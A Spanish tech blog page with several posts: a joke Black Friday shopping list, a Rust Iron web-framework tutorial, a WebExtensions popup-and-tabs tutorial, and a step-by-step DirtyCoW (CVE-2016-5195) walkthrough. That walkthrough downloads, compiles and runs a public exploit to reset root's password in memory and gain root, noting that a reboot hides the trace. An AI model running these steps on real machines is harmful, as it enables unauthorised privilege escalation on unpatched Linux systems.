Viernes de Complot en Adrianistán

Adrianistán es un lugar atípico, por ejemplo, a veces sus ingenieros se preocupan de Haiku, se pasan el día mirando mini-PCs y cuando entran en Wikipedia/Quora necesitan a alguien que les rescate.

Pero en Adrianistán también existe el dinero y a los adrianistaníes (sobre todo los que no forman parte del complot definitivo) les gusta ahorrar. Los muggles celebran su Black Friday, nosotros celebramos el Viernes de Complot. Por una vez al año, Adrianistán sufre de un consumismo compulsivo y todo se vuelve publicidad.

Si compras algo de lo que hay en este artículo que sepas que estarás ayudando económicamente a Adrianistán. Todos los libros han pasado lso filtros del comité de actividades anti-42.

Libros

51mpcaohrl-_sx333_bo1204203200_
¿Está usted de broma, Sr. Feynman?
sapiens
Sapiens, una breve historia de la humanidad
profeta
El Profeta
pendulo
El péndulo de Foucault
La Meta
La Meta
La Divina Comedia
La Divina Comedia

Vuelos

AirFrance ha preparado unas ofertas de Viernes de Complot muy interesantes. ¡Aprovecha y visita a tu familia si vives lejos!
AirFrance ha preparado unas ofertas de Viernes de Complot muy interesantes. ¡Aprovecha y visita a tu familia si vives lejos!
Vueling, una compañía aérea que ofrece grandes destinos a bajo precio
Vueling, una compañía aérea que ofrece grandes destinos a bajo precio

Hoteles

Accor Hoteles ofrece descuentos especiales en hoteles por todo el mundo.
Accor Hoteles ofrece descuentos especiales en hoteles por todo el mundo.

Mini PCs y microcontroladores

Raspberry Pi 3
Raspberry Pi 3
orangepi
Orange Pi 2
ODROID C2
ODROID C2
BeagleBone Black
BeagleBone Black
Banana Pi
Banana Pi
Pine A64+
Pine A64+
ESP8266 (NodeMcu)
ESP8266 (NodeMcu)
Arduino UNO
Arduino UNO
Arduino Nano
Arduino Nano
TI Launchpad MSP430
TI Launchpad MSP430

 

Dominios

1&1 es un veterano en Internet. Dominios y servidores a precios competitivos.
1&1 es un veterano en Internet. Dominios y servidores a precios competitivos.
GoDaddy, uno de los registrar DNS más populares del mundo
GoDaddy, uno de los registrar DNS más populares del mundo.

Otras promociones

MiniInTheBox, uno de las tiendas online de gagdets más grandes de Internet te ofrece descuentos de Viernes de Complot
MiniInTheBox, uno de las tiendas online de gagdets más grandes de Internet te ofrece descuentos de Viernes de Complot.
TomTop, con el código 3TTEU obtendrás 3 euros de descuento
TomTop, con el código 3TTEU obtendrás 3 euros de descuento.
Intimissimi, 20% de descuento en gran parte de su lencería
Intimissimi, 20% de descuento en gran parte de su lencería con motivo del Viernes de Complot.

 

loading...

Usando Iron, un web framework para Rust

Rust cada día atrae a más desarrolladores. Es eficiente y es robusto. Mozilla ha sido la principal impulsora de este lenguaje para ser usado en entornos tan complejos como el propio Firefox.

Hoy vamos a introducirnos en el mundo del desarrollo web con Rust. Cuando la gente oye desarrollo web normalmente se piensa en lenguajes como PHP, Python, Ruby o JavaScript. Estos son lenguajes con los que es rápido desarrollar algo, aunque son mucho menos eficientes y es más fácil cometer errores debido a que son interpretados directamente. Un paso por encima tenemos a Java y C#, que cubren en parte las carencias de los otros lenguajes mencionados. Ha llegado la hora de hablar de Rust. Si bien es cierto que hay web frameworks en C++, nunca han sido muy populares. ¿Será Rust la opción que finalmente nos permita tener aplicaciones web con una eficiencia nativa?

Existen varios web frameworks en Rust, para este tutorial vamos a usar Iron, el más popular según Crates.io.

ironframework

Crear proyecto e instalar Iron

Lo primero que hay que hacer es crear un nuevo proyecto en Rust, lo hacemos gracias a Cargo.

cargo new --bin MundoRust

cd MundoRust

Ahora editamos el fichero Cargo.toml para añadir las dependencias que vamos a usar.

[package]
name = "MundoRust"
version = "0.1.0"
authors = ["Adrián Arroyo Calle"]

[dependencies]
iron = "0.4.0"
router = "0.4.0"
staticfile = "0.3.1"
mount = "0.2.1"

Ahora obtenemos las dependencias especificadas con Cargo.

cargo run

Hola Mundo con Iron

Vamos a empezar a programar en Rust. Vamos a hacer una simple aplicación que devuelva “Hola Rustáceos” por HTTP.

Editamos el archivo src/main.rs

extern crate iron;

use iron::prelude::*;

fn hola(_: &mut Request) -> IronResult<Response> {
    Ok(Response::with((iron::status::Ok, "Hola Rustaceos")))
}

fn main() {
    Iron::new(hola).http("0.0.0.0:80").unwrap();
}

holarustaceos

Usando router para el enrutamiento

Hemos hecho un pequeño servidor HTTP con Iron. Pero nos falta algo, que sea capaz de manejar rutas. Que miweb.com/hola no sea lo mismo que miweb.com/adios. Iron por defecto no trae enrutador, pero es muy habitual usar Router, que ya hemos instalado antes por conveniencia.

extern crate iron;
extern crate router;

use iron::prelude::*;
use router::Router;

fn get_page(r: &mut Request) -> IronResult<Response>{
    let path = r.url.path();
    Ok(Response::with((iron::status::Ok, format!("Hola, peticion GET {}",path[0]))))
}

fn submit(_: &mut Request) -> IronResult<Response>{
    Ok(Response::with((iron::status::Ok, "Peticion POST")))
}

fn main() {
    let mut router = Router::new();

    router.get("/:page", get_page, "page");
    router.post("/submit", submit, "subdmit");

    Iron::new(router).http("0.0.0.0:80").unwrap();

}

getiron

Archivos estáticos

Para gestionar los ficheros estáticos vamos a usar staticfile y mount, otras dos librerías para Iron.

extern crate iron;
extern crate router;
extern crate staticfile;
extern crate mount;

use iron::prelude::*;
use router::Router;
use staticfile::Static;
use mount::Mount;

fn get_page(r: &mut Request) -> IronResult<Response>{
    let path = r.url.path();
    Ok(Response::with((iron::status::Ok, format!("Hola, peticion GET {}",path[0]))))
}

fn main() {
    let mut router = Router::new();

    router.get("/:page", get_page, "page");

    let mut mount = Mount::new();
    mount.mount("/public",Static::new("static/"));
    mount.mount("/",router);

    Iron::new(mount).http("0.0.0.0:80").unwrap();
}

ironstaticfile

 

Hemos dado nuestros primeros pasos en Iron, un web framework para Rust. Iron es completamente modular y soporta muchas más cosas que aquí no hemos visto. Gran parte de su funcionalidad se implementa a través de middleware, como en otros web frameworks populares.

 

 

 

Usar la vulnerabilidad DirtyCoW para convertirse en root en Linux

Hace ya unas semanas salió a la luz la vulnerabilidad conocida como DirtyCoW, registrada bajo el nombre de CVE-2016-5195. Esta vulnerabiliad permite a cualquier usuario con acceso a la máquina de forma limitada llegar a convertirse en root y tomar el control total de la máquina. Tal y como nos decía La Mirada del Replicante:

Clasificada de forma oficial como CVE-2016-5195 y descubierto por Phil Oester –un experto en seguridad y desarrollador de Linux–, Dirty COW (copy-on-write) permite una escalada de privilegios de forma remota o local.

….

La vulnerabilidad ha estado presente durante muchos años (desde la versión 2.6.22 del kernel, liberada en 2007) e incluso Linus fue consciente de ella en su momento.

Hoy vamos a ver como aprovechar esta situación. Válida para todos los sistemas con kernel Linux, incluido Android (aunque allí el procedimiento no es tan sencillo).

dirty-cow

Comprobando requisitos

En primer lugar la vulnerabilidad requiere disponer de acceso a la máquina con un usuario no-privilegiado. Puede ser de forma local o remota vía SSH, pero este requisito ya hace que a muchos servidores no les afecte de manera directa.

La vulnerabilidad además ya se encuentra parcheada en muchas distros GNU/Linux y no se podrá realizar. Es por tanto requisito que la versión del kernel esté entre 2.6.22 y 4.4.26. Puedes comprobar la versión del kernel con el comando uname.

uname -a

Descargando el exploit

Ahora el siguiente paso es descargar el exploit. Yo voy a usar el exploit diseñado por Gabriele Bonacini y que lo podéis descargar desde GitHub, bien con un fichero ZIP o bien mediante el programa Git. Puedes descargarlo desde la línea de comandos así:

wget -O dirtycow.zip https://github.com/AdrianArroyoCalle/CVE-2016-5195/archive/master.zip

unzip dirtycow.zip

cd CVE-2016-5195-master

Ahora debemos compilar el pequeño programa en C++ que se ha descargado. Simplemente escribimos en la terminal:

make

Ejecutando el exploit

Ya estamos listos para ejecutar el exploit. Abrimos desde la terminal el programa que acabamos de compilar.

./dcow

Este exploit, si funciona correctamente, nos dirá por pantalla que la contraseña del root es dirtyCowFun. Si tarda demasiado el programa entonces el exploit no ha funcionado. ¿Qué es lo que ha hecho? Aprovechando la vulnerabilidad Dirty CoW ha logrado cambiar, solo en memoria, el contenido del archivo /etc/passwd, que es donde Linux guarda las contraseñas. Este cambio como repito solo se produce en la memoria, pues el archivo físico en el disco sigue inalterado. Si reiniciamos la máquina habrá que repetir el proceso. Esto tiene la gravedad de que es fácil no darse cuenta de si la vulnerabilidad ha sido explotada, el atacante simplemente reinicia la máquina con reboot y la contraseña del root vuelve a su estado habitual.

Sabiendo esto, ya podemos escribir con total seguridad

su

Y cuando nos pregunte la contraseña, escribimos dirtyCowFun.

Enhorabuena, si has llegado hasta aquí conseguiste escalar privilegios y ya eres root. Ahora no seas demasiado malo, te recuerdo que un gran poder conlleva una gran responsabilidad.

Tutorial de WebExtensions (II) – Popup y Tabs

Continuamos con el tutorial de WebExtensions, hoy veremos un elemento muy útil para muchas extensiones que es el popup.

¿Qué es el popup?

El popup es un panel desplegable que se acciona al pulsar un botón de acción. Este panel es una página HTML que puede contener código JavaScript.

popup

El popup es el elemento que permite al usuario un mayor control sobre la extensión y es ideal tanto para mostrar información como para contener acciones. De hecho, WebExtensions limita el número de botones de acción que puede crear una extensión a uno. Si queremos simular tener más botones deberemos usar un popup que despliegue un pequeño menú.

Definir el popup en manifest.json

Para definir el popup tenemos que indicar la ubicación del fichero HTML correspondiente al popup.

	"browser_action" : {
		"default_icon" : "icons/icono_guay.png",
		"default_title" : "Mi PopUp guay",
		"default_popup" : "popup/index.html"
},

Con eso ya tenemos definido el popup. Se mostrará el botón en la barra superior y al hacer click se abrirá el popup.

El PopUp en sí

El PopUp es un fichero HTML sin el mayor misterio. Para definir el tamaño del PopUp usaremos CSS:

body{
    width: 400px;
    height: 400px;
}

Y el navegador adaptará el PopUp a esas dimensiones. A ese archivo HTML le podemos añadir archivos JavaScript mediante el procedimiento habitual en la web, vía una etiqueta script. Lo interesante viene en estos archivos de JavaScript pues cuentan con más privilegios. Desde ellos podemos acceder a las APIs retringidas a extensiones así como librarnos de limitaciones impuestas a las webs (como la política que bloquea los XMLHttpRequests ejecutados a dominios ajenos a nuestra página).

Para usar las APIs restringidas debemos pedir permiso en el fichero manifest.json. Por ejemplo, vamos a jugar con las pestañas. Para ello usamos los permisos tabs y activeTab.

    "permissions" : ["tabs","activeTab"],

Tabs (pestañas) en WebExtensions

La API se encuentra en chrome.tabs y dispone de varios métodos y eventos. Vamos a ver los más importantes:

  • chrome.tabs.query – Obtener información de las pestañas
    • Este método es muy flexible, lo podemos comparar a hacer un SELECT en SQL, pues obtiene una lista de pestañas que cumplen los parámetros que hemos indicado. Por ejemplo para comprobar la pestaña actual, usaremos la propiedad active:
      chrome.tabs.query({"active": true},function(tabs){
          var tab = tabs[0];
          // tab es la pestaña actualmente activa 
      });
      

      Otra opción muy interesante es para averiguar que pestañas tienen abierta una URL que cumple un patrón. Además los parámetros de búsqueda se pueden combinar:

      chrome.tabs.query({"url" : "*://*.adrianistan.eu/*", "status" : "loading", "muted" : true},function(tabs){
        // tabs (que puede estar vacío) contiene todas las URL que estan en un adrianistan.eu (subdominios incluidos),
        // se encuentran cargando
        // y el usuario ha silenciado su sonido
      });
      
  • chrome.tabs.create – Permite crear nuevas pestañas
    • Su uso básico es muy simple
      chrome.tabs.create({"url" : "https://blog.adrianistan.eu/"},function(tab){
        // tab es la pestaña creada
      });
      
  • chrome.tabs.executeScript – Esta función permite inyectar a la pestaña un script de contenido (Content Script).
    • Ahora no vamos a entrar en como se realizaría la comunicación entre los scripts Background y los Content. El código se puede pasar por una cadena de texto o por un archivo, siendo preferible esta última opción. Se puede especificar además cuando queremos que se ejecute dentro del ciclo de carga de la pestaña.
      chrome.tabs.executeScript(tab.id (opcional), {"code" : "alert('Hola');"},function(){
      
      });
      
      O
      
      chrome.tabs.executeScript({"file" : "miarchivo.js", "runAt" : "document_start"},function(){
      
      });
      
  • chrome.tabs.insertCSS – Permite inyectar CSS en la pestaña
    • Su uso es exactamente igual al de chrome.tabs.executeScript
      chrome.tabs.insertCSS({"file" : "misestilos.css"},function(){
      
      });
      
  • chrome.tabs.sendMessage – Enviar un mensaje a la pestaña
    • Hasta ahora no hemos visto la separación entre background y content scripts. Esta función permite enviar datos desde los scripts background a los content, que tendrán una función de escucha. La menciono, pero lo veremos más adelante en profundidad.

Por último, veamos algunos de los eventos que puede generar la API.

  • chrome.tabs.onUpdated – Es llamado cada vez que una pestaña sufre una modificación en sus datos (cambio de URL, quitar el sonido, finalizar una carga, etc)
    • Es muy posible que necesitemos filtrar el contenido que nos da, para fijarnos si se ha producido en una URL que nos interesa o en alguna condición relevante. Eso no obstante, es responsabilidad del programador.
      chrome.tabs.onUpdated.addListener(function(tabId,changeInfo,tab){
        // el objeto changeInfo presenta una estructura similar al de búsqueda con chrome.tabs.query
        // este objeto solo contiene valores para aquellos parámetros que han cambiado
        // con tab podemos acceder a la pestaña al completo
      });
      

Con esto ya podemos hacer extensiones interesantes, la APIs de PopUp y de Tabs son de las más usadas en WebExtensions.